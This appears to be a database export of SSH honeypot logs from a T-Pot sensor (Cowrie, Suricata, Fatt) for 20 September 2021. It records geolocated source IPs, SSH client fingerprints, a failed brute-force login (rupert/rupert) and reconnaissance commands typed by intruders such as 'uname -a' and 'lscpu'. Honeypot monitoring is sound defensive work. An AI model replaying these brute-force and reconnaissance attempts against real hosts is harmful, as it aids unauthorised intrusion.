33699	5.188.62.250	109.199.241.180	Cowrie	2021-09-20 14:56:39.818876+03	2021-09-20 15:00:06.189723+03	{"_id": "TQYQA3wBvYTbRNuEuVHH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.250", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "acc299e8eac6", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T11:56:39.818876Z", "@timestamp": "2021-09-20T11:56:39.818Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
33700	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:56:39.811977+03	2021-09-20 15:00:06.191751+03	{"_id": "VgYQA3wBvYTbRNuEuVHH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "3bf91f18a281", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:56:39.811977Z", "@timestamp": "2021-09-20T11:56:39.811Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33701	107.173.209.238	109.199.241.180	Suricata	2021-09-20 14:56:39.961189+03	2021-09-20 15:00:06.192753+03	{"_id": "WAYQA3wBvYTbRNuEu1EB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:56:39.663361+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.173.209.238", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1843988222385985, "payload": "AAADzAYU8KVRyCNij+9jEezYGGbLfQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36330, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:56:39.961189Z", "@timestamp": "2021-09-20T11:56:39.961Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........Q.#b..c....f.}...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
33702	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:56:39.819394+03	2021-09-20 15:00:06.194751+03	{"_id": "WwYQA3wBvYTbRNuEvFEO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.250", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52216, "timestamp": "2021-09-20T11:56:39.819394", "@timestamp": "2021-09-20T11:56:39.819Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33703	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:56:41.408831+03	2021-09-20 15:00:06.195752+03	{"_id": "YgYQA3wBvYTbRNuEwVGZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.login.failed", "message": "login attempt [rupert/rupert] failed", "session": "3bf91f18a281", "@version": "1", "password": "rupert", "username": "rupert", "timestamp": "2021-09-20T11:56:41.408831Z", "@timestamp": "2021-09-20T11:56:41.408Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33704	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:41.588121+03	2021-09-20 15:00:06.196722+03	{"_id": "ZAYQA3wBvYTbRNuEwVGZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "110.137.195.172", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "929986875dbf", "@version": "1", "duration": 0.41430234909057617, "duplicate": true, "timestamp": "2021-09-20T11:56:41.588121Z", "@timestamp": "2021-09-20T11:56:41.588Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	\N	\N
33705	46.101.115.211	109.199.241.180	Fatt	2021-09-20 14:56:45.552718+03	2021-09-20 15:00:06.198722+03	{"_id": "bgYQA3wBvYTbRNuEz1GY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 35582, "dest_port": 22, "timestamp": "2021-09-20T11:56:45.552718", "@timestamp": "2021-09-20T11:56:45.552Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33706	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:56:45.519225+03	2021-09-20 15:00:06.199722+03	{"_id": "dQYQA3wBvYTbRNuE0VE7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "f2a246894241", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:56:45.519225Z", "@timestamp": "2021-09-20T11:56:45.519Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33707	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:41.173866+03	2021-09-20 15:00:06.200722+03	{"_id": "YwYQA3wBvYTbRNuEwVGZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.params", "message": [], "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:41.173866Z", "@timestamp": "2021-09-20T11:56:41.173Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	\N	\N
33708	5.188.62.250	109.199.241.180	Cowrie	2021-09-20 14:56:41.235021+03	2021-09-20 15:00:06.201722+03	{"_id": "ZwYQA3wBvYTbRNuEwVGZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.250", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "acc299e8eac6", "@version": "1", "duration": 1.4162323474884033, "timestamp": "2021-09-20T11:56:41.235021Z", "@timestamp": "2021-09-20T11:56:41.235Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
33709	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:41.913697+03	2021-09-20 15:00:06.203722+03	{"_id": "aAYQA3wBvYTbRNuEwVGZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.params", "message": [], "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:41.913697Z", "@timestamp": "2021-09-20T11:56:41.913Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	\N	\N
33710	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:41.914248+03	2021-09-20 15:00:06.204722+03	{"_id": "aQYQA3wBvYTbRNuEwVGZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "input": "lscpu | grep Model", "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:41.914248Z", "@timestamp": "2021-09-20T11:56:41.914Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
33711	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:56:42.895419+03	2021-09-20 15:00:06.205724+03	{"_id": "awYQA3wBvYTbRNuExVGB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "3bf91f18a281", "@version": "1", "duration": 3.0837666988372803, "timestamp": "2021-09-20T11:56:42.895419Z", "@timestamp": "2021-09-20T11:56:42.895Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33712	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:56:45.520372+03	2021-09-20 15:00:06.207722+03	{"_id": "bQYQA3wBvYTbRNuEz1GY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "46.101.115.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35582, "timestamp": "2021-09-20T11:56:45.520372", "@timestamp": "2021-09-20T11:56:45.520Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33713	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:56:45.51646+03	2021-09-20 15:00:06.208722+03	{"_id": "dAYQA3wBvYTbRNuE0VE7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 46.101.115.211:35582 (192.168.176.2:22) [session: f2a246894241]", "session": "f2a246894241", "@version": "1", "protocol": "ssh", "src_port": 35582, "dest_port": 22, "timestamp": "2021-09-20T11:56:45.516460Z", "@timestamp": "2021-09-20T11:56:45.516Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33714	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:41.174405+03	2021-09-20 15:00:06.209722+03	{"_id": "ZgYQA3wBvYTbRNuEwVGZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "input": "uname -a", "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:41.174405Z", "@timestamp": "2021-09-20T11:56:41.174Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
33715	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:42.124564+03	2021-09-20 15:00:06.210722+03	{"_id": "ZQYQA3wBvYTbRNuEwVGZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "110.137.195.172", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "929986875dbf", "@version": "1", "duration": 0.21094703674316406, "duplicate": true, "timestamp": "2021-09-20T11:56:42.124564Z", "@timestamp": "2021-09-20T11:56:42.124Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	\N	\N
